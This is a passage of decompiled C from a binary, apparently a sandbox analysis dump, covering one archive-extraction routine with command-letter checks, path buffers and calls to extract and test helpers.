				_t370 =  *( *(_t683 + 8) + 0x82f2) & 0x0000ffff;
				 *(_t706 - 0x18) = _t370;
				if( *(_t706 + 0xc) != 0) {
					L6:
					_t690 =  *((intOrPtr*)(_t574 + 0x21dc));
					__eflags = _t690 - 2;
					if(_t690 == 2) {
						 *(_t683 + 0x10f5) = _t665;
						__eflags =  *(_t574 + 0x32dc) - _t665;
						if(__eflags > 0) {
							L22:
							__eflags =  *(_t574 + 0x32e4) - _t665;
							if(__eflags > 0) {
								L26:
								_t577 =  *(_t683 + 8);
								__eflags =  *((intOrPtr*)(_t577 + 0x615c)) - _t665;
								if( *((intOrPtr*)(_t577 + 0x615c)) != _t665) {
									L29:
									 *(_t706 - 0x11) = _t665;
									_t35 = _t706 - 0x51a8; // -18856
									_t36 = _t706 - 0x11; // 0x7ef
									_t374 = E01355C80(_t577, _t574 + 0x2280, _t36, 6, _t665, _t35, 0x800);
									__eflags = _t374;
									_t375 = _t374 & 0xffffff00 | _t374 != 0x00000000;
									 *(_t706 - 0x10) = _t375;
									__eflags = _t375;
									if(_t375 != 0) {
										__eflags =  *(_t706 - 0x11);
										if( *(_t706 - 0x11) == 0) {
											__eflags = 0;
											 *((char*)(_t683 + 0xf1)) = 0;
										}
									}
									E01351F1B(_t574);
									_push(0x800);
									_t43 = _t706 - 0x113c; // -2364
									_push(_t574 + 0x22a8);
									E0135AFA3();
									__eflags =  *((char*)(_t574 + 0x3373));
									 *(_t706 - 0x1c) = 1;
									if( *((char*)(_t574 + 0x3373)) == 0) {
										_t380 = E01352005(_t574);
										__eflags = _t380;
										if(_t380 == 0) {
											_t548 =  *(_t683 + 8);
											__eflags = 1 -  *((intOrPtr*)(_t548 + 0x72bc));
											asm("sbb al, al");
											_t61 = _t706 - 0x10;
											 *_t61 =  *(_t706 - 0x10) &  !_t548;
											__eflags =  *_t61;
										}
									} else {
										_t551 =  *( *(_t683 + 8) + 0x72bc);
										__eflags = _t551 - 1;
										if(_t551 != 1) {
											__eflags =  *(_t706 - 0x11);
											if( *(_t706 - 0x11) == 0) {
												__eflags = _t551;
												 *(_t706 - 0x10) =  *(_t706 - 0x10) & (_t551 & 0xffffff00 | _t551 == 0x00000000) - 0x00000001;
												_push(0);
												_t54 = _t706 - 0x113c; // -2364
												_t556 = E0135B8F2(_t54);
												_t656 =  *(_t683 + 8);
												__eflags =  *((intOrPtr*)(_t656 + 0x72bc)) - 1 - _t556;
												if( *((intOrPtr*)(_t656 + 0x72bc)) - 1 != _t556) {
													 *(_t706 - 0x10) = 0;
												} else {
													_t57 = _t706 - 0x113c; // -2364
													_push(1);
													E0135B8F2(_t57);
												}
											}
										}
									}
									 *((char*)(_t683 + 0x5f)) =  *((intOrPtr*)(_t574 + 0x3319));
									 *((char*)(_t683 + 0x60)) = 0;
									asm("sbb eax, [ebx+0x32dc]");
									 *((intOrPtr*)( *_t574 + 0x10))( *((intOrPtr*)(_t574 + 0x6ca8)) -  *(_t574 + 0x32d8),  *((intOrPtr*)(_t574 + 0x6cac)), 0);
									_t667 = 0;
									_t385 = 0;
									 *(_t706 + 0xb) = 0;
									 *(_t706 + 0xc) = 0;
									__eflags =  *(_t706 - 0x10);
									if( *(_t706 - 0x10) != 0) {
										L43:
										_t692 =  *(_t706 - 0x18);
										_t586 =  *((intOrPtr*)( *(_t683 + 8) + 0x61f9));
										_t387 = 0x49;
										__eflags = _t586;
										if(_t586 == 0) {
											L45:
											_t388 = _t667;
											L46:
											__eflags = _t586;
											_t82 = _t706 - 0x113c; // -2364
											_t392 = E01360FD9(_t586, _t82, (_t388 & 0xffffff00 | _t586 == 0x00000000) & 0x000000ff, _t388,  *(_t706 + 0xc)); // executed
											__eflags = _t392;
											if(__eflags == 0) {
												L219:
												_t393 = 0;
												L16:
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t706 - 0xc));
												return _t393;
											}
											 *((intOrPtr*)(_t706 - 0x38)) = _t683 + 0x10f6;
											_t85 = _t706 - 0x113c; // -2364
											E013580B1(_t683, __eflags, _t574, _t85, _t683 + 0x10f6, 0x800);
											__eflags =  *(_t706 + 0xb);
											if( *(_t706 + 0xb) != 0) {
												L50:
												 *(_t706 + 0xf) = 0;
												L51:
												_t398 =  *(_t683 + 8);
												_t589 = 0x45;
												__eflags =  *((char*)(_t398 + 0x6153));
												_t668 = 0x58;
												 *((intOrPtr*)(_t706 - 0x34)) = _t589;
												 *((intOrPtr*)(_t706 - 0x30)) = _t668;
												if( *((char*)(_t398 + 0x6153)) != 0) {
													L53:
													__eflags = _t692 - _t589;
													if(_t692 == _t589) {
														L55:
														_t96 = _t706 - 0x31a8; // -10664
														E01356EF9(_t96);
														_push(0);
														_t97 = _t706 - 0x31a8; // -10664
														_t403 = E0135A1B1(_t96, _t668, __eflags, _t683 + 0x10f6, _t97);
														__eflags = _t403;
														if(_t403 == 0) {
															_t404 =  *(_t683 + 8);
															__eflags =  *((char*)(_t404 + 0x6153));
															_t108 = _t706 + 0xf;
															 *_t108 =  *(_t706 + 0xf) & (_t404 & 0xffffff00 |  *((char*)(_t404 + 0x6153)) != 0x00000000) - 0x00000001;
															__eflags =  *_t108;
															L61:
															_t110 = _t706 - 0x113c; // -2364
															_t408 = E01357BE2(_t110, _t574, _t110);
															__eflags = _t408;
															if(_t408 != 0) {
																while(1) {
																	__eflags =  *((char*)(_t574 + 0x331b));
																	if( *((char*)(_t574 + 0x331b)) == 0) {
																		goto L65;
																	}
																	_t115 = _t706 - 0x113c; // -2364
																	_t541 = E0135807D(_t683, _t574);
																	__eflags = _t541;
																	if(_t541 == 0) {
																		 *((char*)(_t683 + 0x20f6)) = 1;
																		goto L219;
																	}
																	L65:
																	_t117 = _t706 - 0x13c; // 0x6c4
																	_t592 = 0x40;
																	memcpy(_t117,  *(_t683 + 8) + 0x5024, _t592 << 2);
																	_t710 = _t708 + 0xc;
																	asm("movsw");
																	_t120 = _t706 - 0x2c; // 0x7d4
																	_t683 =  *((intOrPtr*)(_t706 - 0x20));
																	 *(_t706 - 4) = 0;
																	asm("sbb ecx, ecx");
																	_t127 = _t706 - 0x13c; // 0x6c4
																	E0135C634(_t683 + 0x10, 0,  *((intOrPtr*)(_t574 + 0x331c)), _t127,  ~( *(_t574 + 0x3320) & 0x000000ff) & _t574 + 0x00003321, _t574 + 0x3331,  *((intOrPtr*)(_t574 + 0x336c)), _t574 + 0x334b, _t120);
																	__eflags =  *((char*)(_t574 + 0x331b));
																	if( *((char*)(_t574 + 0x331b)) == 0) {
																		L73:
																		 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																		_t146 = _t706 - 0x13c; // 0x6c4
																		L0135E724(_t146);
																		_t147 = _t706 - 0x2160; // -6496
																		E0135943C(_t147);
																		_t418 =  *(_t574 + 0x3380);
																		 *(_t706 - 4) = 1;
																		 *(_t706 - 0x24) = _t418;
																		_t670 = 0x50;
																		__eflags = _t418;
																		if(_t418 == 0) {
																			L83:
																			_t419 = E01352005(_t574);
																			__eflags = _t419;
																			if(_t419 == 0) {
																				_t601 =  *(_t706 + 0xf);
																				__eflags = _t601;
																				if(_t601 == 0) {
																					_t696 =  *(_t706 - 0x18);
																					L96:
																					__eflags =  *((char*)(_t574 + 0x6cb4));
																					if( *((char*)(_t574 + 0x6cb4)) == 0) {
																						__eflags = _t601;
																						if(_t601 == 0) {
																							L212:
																							 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																							_t358 = _t706 - 0x2160; // -6496
																							E0135946E(_t358);
																							__eflags =  *(_t706 - 0x10);
																							_t385 =  *(_t706 + 0xf);
																							_t671 =  *(_t706 + 0xb);
																							if( *(_t706 - 0x10) != 0) {
																								_t362 = _t683 + 0xec;
																								 *_t362 =  *(_t683 + 0xec) + 1;
																								__eflags =  *_t362;
																							}
																							L214:
																							__eflags =  *((char*)(_t683 + 0x60));
																							if( *((char*)(_t683 + 0x60)) != 0) {
																								goto L219;
																							}
																							__eflags = _t385;
																							if(_t385 != 0) {
																								L15:
																								_t393 = 1;
																								goto L16;
																							}
																							__eflags =  *((intOrPtr*)(_t574 + 0x6cb4)) - _t385;
																							if( *((intOrPtr*)(_t574 + 0x6cb4)) != _t385) {
																								__eflags = _t671;
																								if(_t671 != 0) {
																									goto L15;
																								}
																								goto L219;
																							}
																							L217:
																							E01351E3B(_t574);
																							goto L15;
																						}
																						L101:
																						_t422 =  *(_t683 + 8);
																						__eflags =  *((char*)(_t422 + 0x61f9));
																						if( *((char*)(_t422 + 0x61f9)) == 0) {
																							L103:
																							_t423 =  *(_t706 + 0xb);
																							__eflags = _t423;
																							if(_t423 != 0) {
																								L108:
																								 *((char*)(_t706 - 0xf)) = 1;
																								__eflags = _t423;
																								if(_t423 != 0) {
																									L110:
																									 *((intOrPtr*)(_t683 + 0xe8)) =  *((intOrPtr*)(_t683 + 0xe8)) + 1;
																									 *((intOrPtr*)(_t683 + 0x80)) = 0;
																									 *((intOrPtr*)(_t683 + 0x84)) = 0;
																									 *((intOrPtr*)(_t683 + 0x88)) = 0;
																									 *((intOrPtr*)(_t683 + 0x8c)) = 0;
																									E0135A728(_t683 + 0xc8, _t670,  *((intOrPtr*)(_t574 + 0x32f0)),  *((intOrPtr*)( *(_t683 + 8) + 0x82d8)));
																									E0135A728(_t683 + 0xa0, _t670,  *((intOrPtr*)(_t574 + 0x32f0)),  *((intOrPtr*)( *(_t683 + 8) + 0x82d8)));
																									_t698 = _t683 + 0x10;
																									 *(_t683 + 0x30) =  *(_t574 + 0x32d8);
																									_t217 = _t706 - 0x2160; // -6496
																									 *(_t683 + 0x34) =  *(_t574 + 0x32dc);
																									E0135C67C(_t698, _t574, _t217);
																									_t672 =  *((intOrPtr*)(_t706 - 0xf));
																									_t608 = 0;
																									_t432 =  *(_t706 + 0xb);
																									 *((char*)(_t683 + 0x39)) = _t672;
																									 *((char*)(_t683 + 0x3a)) = _t432;
																									 *(_t706 - 0x1c) = 0;
																									 *(_t706 - 0x28) = 0;
																									__eflags = _t672;
																									if(_t672 != 0) {
																										L127:
																										_t673 =  *(_t683 + 8);
																										__eflags =  *((char*)(_t673 + 0x6198));
																										 *((char*)(_t706 - 0x214d)) =  *((char*)(_t673 + 0x6198)) == 0;
																										__eflags =  *((char*)(_t706 - 0xf));
																										if( *((char*)(_t706 - 0xf)) != 0) {
																											L131:
																											_t434 = 1;
																											__eflags = 1;
																											L132:
																											__eflags =  *(_t706 - 0x24);
																											 *((char*)(_t706 - 0xe)) = _t608;
																											 *((char*)(_t706 - 0x12)) = _t434;
																											 *((char*)(_t706 - 0xd)) = _t434;
																											if( *(_t706 - 0x24) == 0) {
																												__eflags =  *(_t574 + 0x3318);
																												if( *(_t574 + 0x3318) == 0) {
																													__eflags =  *((char*)(_t574 + 0x22a0));
																													if(__eflags != 0) {
																														E01362842(_t574,  *((intOrPtr*)(_t683 + 0xe0)), _t706,  *((intOrPtr*)(_t574 + 0x3374)),  *(_t574 + 0x3370) & 0x000000ff);
																														_t472 =  *((intOrPtr*)(_t683 + 0xe0));
																														 *(_t472 + 0x4c48) =  *(_t574 + 0x32e0);
																														__eflags = 0;
																														 *(_t472 + 0x4c4c) =  *(_t574 + 0x32e4);
																														 *((char*)(_t472 + 0x4c60)) = 0;
																														E013624D9( *((intOrPtr*)(_t683 + 0xe0)),  *((intOrPtr*)(_t574 + 0x229c)),  *(_t574 + 0x3370) & 0x000000ff); // executed
																													} else {
																														_push( *(_t574 + 0x32e4));
																														_push( *(_t574 + 0x32e0));
																														_push(_t698);
																														E0135910B(_t574, _t673, _t683, __eflags);
																													}
																												}
																												L163:
																												E01351E3B(_t574);
																												__eflags =  *((char*)(_t574 + 0x3319));
																												if( *((char*)(_t574 + 0x3319)) != 0) {
																													L166:
																													_t436 = 0;
																													__eflags = 0;
																													_t610 = 0;
																													L167:
																													__eflags =  *(_t574 + 0x3370);
																													if( *(_t574 + 0x3370) != 0) {
																														__eflags =  *((char*)(_t574 + 0x22a0));
																														if( *((char*)(_t574 + 0x22a0)) == 0) {
																															L175:
																															__eflags =  *(_t706 + 0xb);
																															 *((char*)(_t706 - 0xe)) = _t436;
																															if( *(_t706 + 0xb) != 0) {
																																L185:
																																__eflags =  *(_t706 - 0x24);
																																_t674 =  *((intOrPtr*)(_t706 - 0xd));
																																if( *(_t706 - 0x24) == 0) {
																																	L189:
																																	_t611 = 0;
																																	__eflags = 0;
																																	L190:
																																	__eflags =  *((char*)(_t706 - 0xf));
																																	if( *((char*)(_t706 - 0xf)) != 0) {
																																		goto L212;
																																	}
																																	_t699 =  *(_t706 - 0x18);
																																	__eflags = _t699 -  *((intOrPtr*)(_t706 - 0x30));
																																	if(_t699 ==  *((intOrPtr*)(_t706 - 0x30))) {
																																		L193:
																																		__eflags =  *(_t706 - 0x24);
																																		if( *(_t706 - 0x24) == 0) {
																																			L197:
																																			__eflags = _t436;
																																			if(_t436 == 0) {
																																				L200:
																																				__eflags = _t611;
																																				if(_t611 != 0) {
																																					L208:
																																					_t437 =  *(_t683 + 8);
																																					__eflags =  *((char*)(_t437 + 0x61a0));
																																					if( *((char*)(_t437 + 0x61a0)) == 0) {
																																						_t700 = _t683 + 0x10f6;
																																						_t438 = E0135A12F(_t683 + 0x10f6,  *((intOrPtr*)(_t574 + 0x22a4))); // executed
																																						__eflags = _t438;
																																						if(__eflags == 0) {
																																							E01356BF5(__eflags, 0x11, _t574 + 0x1e, _t700);
																																						}
																																					}
																																					 *(_t683 + 0x10f5) = 1;
																																					goto L212;
																																				}
																																				_t675 =  *(_t706 - 0x28);
																																				__eflags = _t675;
																																				_t613 =  *(_t706 - 0x1c);
																																				if(_t675 > 0) {
																																					L203:
																																					__eflags = _t436;
																																					if(_t436 != 0) {
																																						L206:
																																						_t331 = _t706 - 0x2160; // -6496
																																						E01359BD6(_t331);
																																						L207:
																																						_t688 = _t574 + 0x32c0;
																																						asm("sbb eax, eax");
																																						asm("sbb ecx, ecx");
																																						asm("sbb eax, eax");
																																						_t339 = _t706 - 0x2160; // -6496
																																						E01359A7E(_t339, _t574 + 0x32d0,  ~( *( *(_t683 + 8) + 0x72c8)) & _t688,  ~( *( *(_t683 + 8) + 0x72cc)) & _t574 + 0x000032c8,  ~( *( *(_t683 + 8) + 0x72d0)) & _t574 + 0x000032d0);
																																						_t340 = _t706 - 0x2160; // -6496
																																						E013594DA(_t340);
																																						E01357A12( *((intOrPtr*)(_t706 - 0x20)),  *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)), _t574,  *((intOrPtr*)(_t706 - 0x38)));
																																						asm("sbb eax, eax");
																																						asm("sbb eax, eax");
																																						__eflags =  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t688;
																																						E01359A7B( ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t688,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72c8)) & _t688,  ~( *( *((intOrPtr*)( *((intOrPtr*)(_t706 - 0x20)) + 8)) + 0x72d0)) & _t574 + 0x000032d0);
																																						_t683 =  *((intOrPtr*)(_t706 - 0x20));
																																						goto L208;
																																					}
																																					__eflags =  *((intOrPtr*)(_t683 + 0x88)) - _t613;
																																					if( *((intOrPtr*)(_t683 + 0x88)) != _t613) {
																																						goto L206;
																																					}
																																					__eflags =  *((intOrPtr*)(_t683 + 0x8c)) - _t675;
																																					if( *((intOrPtr*)(_t683 + 0x8c)) == _t675) {
																																						goto L207;
																																					}
																																					goto L206;
																																				}
																																				__eflags = _t613;
																																				if(_t613 == 0) {
																																					goto L207;
																																				}
																																				goto L203;
																																			}
																																			_t460 =  *(_t683 + 8);
																																			__eflags =  *((char*)(_t460 + 0x6198));
																																			if( *((char*)(_t460 + 0x6198)) == 0) {
																																				goto L212;
																																			}
																																			_t436 =  *((intOrPtr*)(_t706 - 0xe));
																																			goto L200;
																																		}
																																		__eflags = _t611;
																																		if(_t611 != 0) {
																																			goto L197;
																																		}
																																		__eflags =  *(_t574 + 0x3380) - 5;
																																		if( *(_t574 + 0x3380) != 5) {
																																			goto L212;
																																		}
																																		__eflags = _t674;
																																		if(_t674 == 0) {
																																			goto L212;
																																		}
																																		goto L197;
																																	}
																																	__eflags = _t699 -  *((intOrPtr*)(_t706 - 0x34));
																																	if(_t699 !=  *((intOrPtr*)(_t706 - 0x34))) {
																																		goto L212;
																																	}
																																	goto L193;
																																}
																																__eflags =  *(_t574 + 0x3380) - 4;
																																if( *(_t574 + 0x3380) != 4) {
																																	goto L189;
																																}
																																__eflags = _t674;
																																if(_t674 == 0) {
																																	goto L189;
																																}
																																_t611 = 1;
																																goto L190;
																															}
																															__eflags =  *((char*)(_t706 - 0x12));
																															if( *((char*)(_t706 - 0x12)) == 0) {
																																goto L185;
																															}
																															__eflags = _t610;
																															if(_t610 != 0) {
																																goto L185;
																															}
																															__eflags =  *((intOrPtr*)(_t574 + 0x331b)) - _t610;
																															if(__eflags == 0) {
																																L183:
																																_t311 = _t706 - 0x113c; // -2364
																																_push(_t574 + 0x1e);
																																_push(3);
																																L184:
																																E01356BF5(__eflags);
																																 *((char*)(_t706 - 0xe)) = 1;
																																E01356E03(0x13900e0, 3);
																																_t436 =  *((intOrPtr*)(_t706 - 0xe));
																																goto L185;
																															}
																															__eflags =  *((intOrPtr*)(_t574 + 0x3341)) - _t610;
																															if( *((intOrPtr*)(_t574 + 0x3341)) == _t610) {
																																L181:
																																__eflags =  *((char*)(_t683 + 0xf3));
																																if(__eflags != 0) {
																																	goto L183;
																																}
																																_t309 = _t706 - 0x113c; // -2364
																																_push(_t574 + 0x1e);
																																_push(4);
																																goto L184;
																															}
																															__eflags =  *(_t574 + 0x6cc4) - _t610;
																															if(__eflags == 0) {
																																goto L183;
																															}
																															goto L181;
																														}
																														__eflags =  *(_t574 + 0x32e4) - _t436;
																														if(__eflags < 0) {
																															goto L175;
																														}
																														if(__eflags > 0) {
																															L173:
																															__eflags = _t610;
																															if(_t610 != 0) {
																																 *((char*)(_t683 + 0xf3)) = 1;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t574 + 0x32e0) - _t436;
																														if( *(_t574 + 0x32e0) <= _t436) {
																															goto L175;
																														}
																														goto L173;
																													}
																													 *((char*)(_t683 + 0xf3)) = _t436;
																													goto L175;
																												}
																												asm("sbb edx, edx");
																												_t469 = E0135A6F6(_t683 + 0xc8, _t683, _t574 + 0x32f0,  ~( *(_t574 + 0x334a) & 0x000000ff) & _t574 + 0x0000334b);
																												__eflags = _t469;
																												if(_t469 == 0) {
																													goto L166;
																												}
																												_t610 = 1;
																												_t436 = 0;
																												goto L167;
																											}
																											_t702 =  *(_t574 + 0x3380);
																											__eflags = _t702 - 4;
																											if(__eflags == 0) {
																												L146:
																												_t262 = _t706 - 0x41a8; // -14760
																												E013580B1(_t683, __eflags, _t574, _t574 + 0x3384, _t262, 0x800);
																												_t608 =  *((intOrPtr*)(_t706 - 0xe));
																												__eflags = _t608;
																												if(_t608 == 0) {
																													L153:
																													_t479 =  *((intOrPtr*)(_t706 - 0xd));
																													L154:
																													__eflags =  *((intOrPtr*)(_t574 + 0x6cb0)) - 2;
																													if( *((intOrPtr*)(_t574 + 0x6cb0)) != 2) {
																														L141:
																														__eflags = _t608;
																														if(_t608 == 0) {
																															L157:
																															_t480 = 0;
																															__eflags = 0;
																															L158:
																															 *(_t683 + 0x10f5) = _t480;
																															goto L163;
																														}
																														L142:
																														__eflags = _t479;
																														if(_t479 == 0) {
																															goto L157;
																														}
																														_t480 = 1;
																														goto L158;
																													}
																													__eflags = _t608;
																													if(_t608 != 0) {
																														goto L142;
																													}
																													L140:
																													 *((char*)(_t706 - 0x12)) = 0;
																													goto L141;
																												}
																												__eflags =  *((short*)(_t706 - 0x41a8));
																												if( *((short*)(_t706 - 0x41a8)) == 0) {
																													goto L153;
																												}
																												_t266 = _t706 - 0x41a8; // -14760
																												_push(0x800);
																												_push(_t683 + 0x10f6);
																												__eflags = _t702 - 4;
																												if(__eflags != 0) {
																													_push(_t574 + 0x1e);
																													_t269 = _t706 - 0x2160; // -6496
																													_t479 = E01359049(_t673, __eflags);
																												} else {
																													_t479 = E013574DD(_t608, __eflags);
																												}
																												L151:
																												 *((char*)(_t706 - 0xd)) = _t479;
																												__eflags = _t479;
																												if(_t479 == 0) {
																													L139:
																													_t608 =  *((intOrPtr*)(_t706 - 0xe));
																													goto L140;
																												}
																												_t608 =  *((intOrPtr*)(_t706 - 0xe));
																												goto L154;
																											}
																											__eflags = _t702 - 5;
																											if(__eflags == 0) {
																												goto L146;
																											}
																											__eflags = _t702 - _t434;
																											if(_t702 == _t434) {
																												L144:
																												__eflags = _t608;
																												if(_t608 == 0) {
																													goto L153;
																												}
																												_push(_t683 + 0x10f6);
																												_t479 = E0135774C(_t673, _t683 + 0x10, _t574);
																												goto L151;
																											}
																											__eflags = _t702 - 2;
																											if(_t702 == 2) {
																												goto L144;
																											}
																											__eflags = _t702 - 3;
																											if(__eflags == 0) {
																												goto L144;
																											}
																											E01356BF5(__eflags, 0x47, _t574 + 0x1e, _t683 + 0x10f6);
																											__eflags = 0;
																											_t479 = 0;
																											 *((char*)(_t706 - 0xd)) = 0;
																											goto L139;
																										}
																										__eflags = _t432;
																										if(_t432 != 0) {
																											goto L131;
																										}
																										_t491 = 0x50;
																										__eflags =  *(_t706 - 0x18) - _t491;
																										if( *(_t706 - 0x18) == _t491) {
																											goto L131;
																										}
																										_t434 = 1;
																										_t608 = 1;
																										goto L132;
																									}
																									__eflags =  *(_t574 + 0x6cc4);
																									if( *(_t574 + 0x6cc4) != 0) {
																										goto L127;
																									}
																									_t703 =  *(_t574 + 0x32e4);
																									_t681 =  *(_t574 + 0x32e0);
																									__eflags = _t703;
																									if(__eflags < 0) {
																										L126:
																										_t698 = _t683 + 0x10;
																										goto L127;
																									}
																									if(__eflags > 0) {
																										L115:
																										_t631 =  *(_t574 + 0x32d8);
																										_t632 = _t631 << 0xa;
																										__eflags = ( *(_t574 + 0x32dc) << 0x00000020 | _t631) << 0xa - _t703;
																										if(__eflags < 0) {
																											L125:
																											_t432 =  *(_t706 + 0xb);
																											_t608 = 0;
																											__eflags = 0;
																											goto L126;
																										}
																										if(__eflags > 0) {
																											L118:
																											__eflags = _t703;
																											if(__eflags < 0) {
																												L124:
																												_t237 = _t706 - 0x2160; // -6496
																												E013598D5(_t237,  *(_t574 + 0x32e0),  *(_t574 + 0x32e4));
																												 *(_t706 - 0x1c) =  *(_t574 + 0x32e0);
																												 *(_t706 - 0x28) =  *(_t574 + 0x32e4);
																												goto L125;
																											}
																											if(__eflags > 0) {
																												L121:
																												_t499 = E013596E1(_t681);
																												__eflags = _t681 -  *(_t574 + 0x32dc);
																												if(__eflags < 0) {
																													goto L125;
																												}
																												if(__eflags > 0) {
																													goto L124;
																												}
																												__eflags = _t499 -  *(_t574 + 0x32d8);
																												if(_t499 <=  *(_t574 + 0x32d8)) {
																													goto L125;
																												}
																												goto L124;
																											}
																											__eflags = _t681 - 0x5f5e100;
																											if(_t681 < 0x5f5e100) {
																												goto L124;
																											}
																											goto L121;
																										}
																										__eflags = _t632 - _t681;
																										if(_t632 <= _t681) {
																											goto L125;
																										}
																										goto L118;
																									}
																									__eflags = _t681 - 0xf4240;
																									if(_t681 <= 0xf4240) {
																										goto L126;
																									}
																									goto L115;
																								}
																								L109:
																								_t198 = _t683 + 0xe4;
																								 *_t198 =  *(_t683 + 0xe4) + 1;
																								__eflags =  *_t198;
																								goto L110;
																							}
																							 *((char*)(_t706 - 0xf)) = 0;
																							_t501 = 0x50;
																							__eflags = _t696 - _t501;
																							if(_t696 != _t501) {
																								_t192 = _t706 - 0x2160; // -6496
																								__eflags = E01359745(_t192);
																								if(__eflags != 0) {
																									E01356BF5(__eflags, 0x3b, _t574 + 0x1e, _t683 + 0x10f6);
																									E01356E9B(0x13900e0, _t706, _t574 + 0x1e, _t683 + 0x10f6);
																								}
																							}
																							goto L109;
																						}
																						 *(_t683 + 0x10f5) = 1;
																						__eflags =  *((char*)(_t422 + 0x61f9));
																						if( *((char*)(_t422 + 0x61f9)) != 0) {
																							_t423 =  *(_t706 + 0xb);
																							goto L108;
																						}
																						goto L103;
																					}
																					 *(_t706 + 0xb) = 1;
																					 *(_t706 + 0xf) = 1;
																					_t182 = _t706 - 0x113c; // -2364
																					_t511 = E01360FD9(_t601, _t182, 0, 0, 1);
																					__eflags = _t511;
																					if(_t511 != 0) {
																						goto L101;
																					}
																					__eflags = 0;
																					 *(_t706 - 0x1c) = 0;
																					L99:
																					_t184 = _t706 - 0x2160; // -6496
																					E0135946E(_t184);
																					_t393 =  *(_t706 - 0x1c);
																					goto L16;
																				}
																				_t174 = _t706 - 0x2160; // -6496
																				_push(_t574);
																				_t515 = E01357F5F(_t683);
																				_t696 =  *(_t706 - 0x18);
																				_t601 = _t515;
																				 *(_t706 + 0xf) = _t601;
																				L93:
																				__eflags = _t601;
																				if(_t601 != 0) {
																					goto L101;
																				}
																				goto L96;
																			}
																			__eflags =  *(_t706 + 0xf);
																			if( *(_t706 + 0xf) != 0) {
																				_t516 =  *(_t706 - 0x18);
																				__eflags = _t516 - 0x50;
																				if(_t516 != 0x50) {
																					_t639 = 0x49;
																					__eflags = _t516 - _t639;
																					if(_t516 != _t639) {
																						_t640 = 0x45;
																						__eflags = _t516 - _t640;
																						if(_t516 != _t640) {
																							_t517 =  *(_t683 + 8);
																							__eflags =  *((intOrPtr*)(_t517 + 0x6158)) - 1;
																							if( *((intOrPtr*)(_t517 + 0x6158)) != 1) {
																								 *(_t683 + 0xe4) =  *(_t683 + 0xe4) + 1;
																								_t172 = _t706 - 0x113c; // -2364
																								_push(_t574);
																								E01357D9B(_t683);
																							}
																						}
																					}
																				}
																			}
																			goto L99;
																		}
																		__eflags = _t418 - 5;
																		if(_t418 == 5) {
																			goto L83;
																		}
																		_t601 =  *(_t706 + 0xf);
																		_t696 =  *(_t706 - 0x18);
																		__eflags = _t601;
																		if(_t601 == 0) {
																			goto L96;
																		}
																		__eflags = _t696 - _t670;
																		if(_t696 == _t670) {
																			goto L93;
																		}
																		_t520 =  *(_t683 + 8);
																		__eflags =  *((char*)(_t520 + 0x61f9));
																		if( *((char*)(_t520 + 0x61f9)) != 0) {
																			goto L93;
																		}
																		 *((char*)(_t706 - 0xf)) = 0;
																		_t523 = E01359E6B(_t683 + 0x10f6);
																		__eflags = _t523;
																		if(_t523 == 0) {
																			L81:
																			__eflags =  *((char*)(_t706 - 0xf));
																			if( *((char*)(_t706 - 0xf)) == 0) {
																				_t601 =  *(_t706 + 0xf);
																				goto L93;
																			}
																			L82:
																			_t601 = 0;
																			 *(_t706 + 0xf) = 0;
																			goto L93;
																		}
																		__eflags =  *((char*)(_t706 - 0xf));
																		if( *((char*)(_t706 - 0xf)) != 0) {
																			goto L82;
																		}
																		__eflags = 0;
																		_push(0);
																		_push(_t574 + 0x32c0);
																		_t160 = _t706 - 0xf; // 0x7f1
																		E0135919C(0,  *(_t683 + 8), 0, _t683 + 0x10f6, 0x800, _t160,  *(_t574 + 0x32e0),  *(_t574 + 0x32e4));
																		goto L81;
																	}
																	__eflags =  *((char*)(_t574 + 0x3341));
																	if( *((char*)(_t574 + 0x3341)) == 0) {
																		goto L73;
																	}
																	_t132 = _t706 - 0x2c; // 0x7d4
																	_t531 = E0136F3CA(_t574 + 0x3342, _t132, 8);
																	_t708 = _t710 + 0xc;
																	__eflags = _t531;
																	if(_t531 == 0) {
																		goto L73;
																	}
																	__eflags =  *(_t574 + 0x6cc4);
																	if( *(_t574 + 0x6cc4) != 0) {
																		goto L73;
																	}
																	__eflags =  *((char*)(_t683 + 0x10f4));
																	_t136 = _t706 - 0x113c; // -2364
																	_push(_t574 + 0x1e);
																	if(__eflags != 0) {
																		_push(6);
																		E01356BF5(__eflags);
																		E01356E03(0x13900e0, 0xb);
																		__eflags = 0;
																		 *(_t706 + 0xf) = 0;
																		goto L73;
																	}
																	_push(0x7d);
																	E01356BF5(__eflags);
																	E0135E797( *(_t683 + 8) + 0x5024);
																	 *(_t706 - 4) =  *(_t706 - 4) | 0xffffffff;
																	_t141 = _t706 - 0x13c; // 0x6c4
																	L0135E724(_t141);
																}
															}
															E01356E03(0x13900e0, 2);
															_t543 = E01351E3B(_t574);
															__eflags =  *((char*)(_t574 + 0x6cb4));
															_t393 = _t543 & 0xffffff00 |  *((char*)(_t574 + 0x6cb4)) == 0x00000000;
															goto L16;
														}
														_t100 = _t706 - 0x2198; // -6552
														_t545 = E01357BBB(_t100, _t574 + 0x32c0);
														__eflags = _t545;
														if(_t545 == 0) {
															goto L61;
														}
														__eflags =  *((char*)(_t706 - 0x219c));
														if( *((char*)(_t706 - 0x219c)) == 0) {
															L59:
															 *(_t706 + 0xf) = 0;
															goto L61;
														}
														_t102 = _t706 - 0x2198; // -6552
														_t547 = E01357B9D(_t102, _t683);
														__eflags = _t547;
														if(_t547 == 0) {
															goto L61;
														}
														goto L59;
													}
													__eflags = _t692 - _t668;
													if(_t692 != _t668) {
														goto L61;
													}
													goto L55;
												}
												__eflags =  *((char*)(_t398 + 0x6154));
												if( *((char*)(_t398 + 0x6154)) == 0) {
													goto L61;
												}
												goto L53;
											}
											__eflags =  *(_t683 + 0x10f6);
											if( *(_t683 + 0x10f6) == 0) {
												goto L50;
											}
											 *(_t706 + 0xf) = 1;
											__eflags =  *(_t574 + 0x3318);
											if( *(_t574 + 0x3318) == 0) {
												goto L51;
											}
											goto L50;
										}
										__eflags = _t692 - _t387;
										_t388 = 1;
										if(_t692 != _t387) {
											goto L46;
										}
										goto L45;
									}
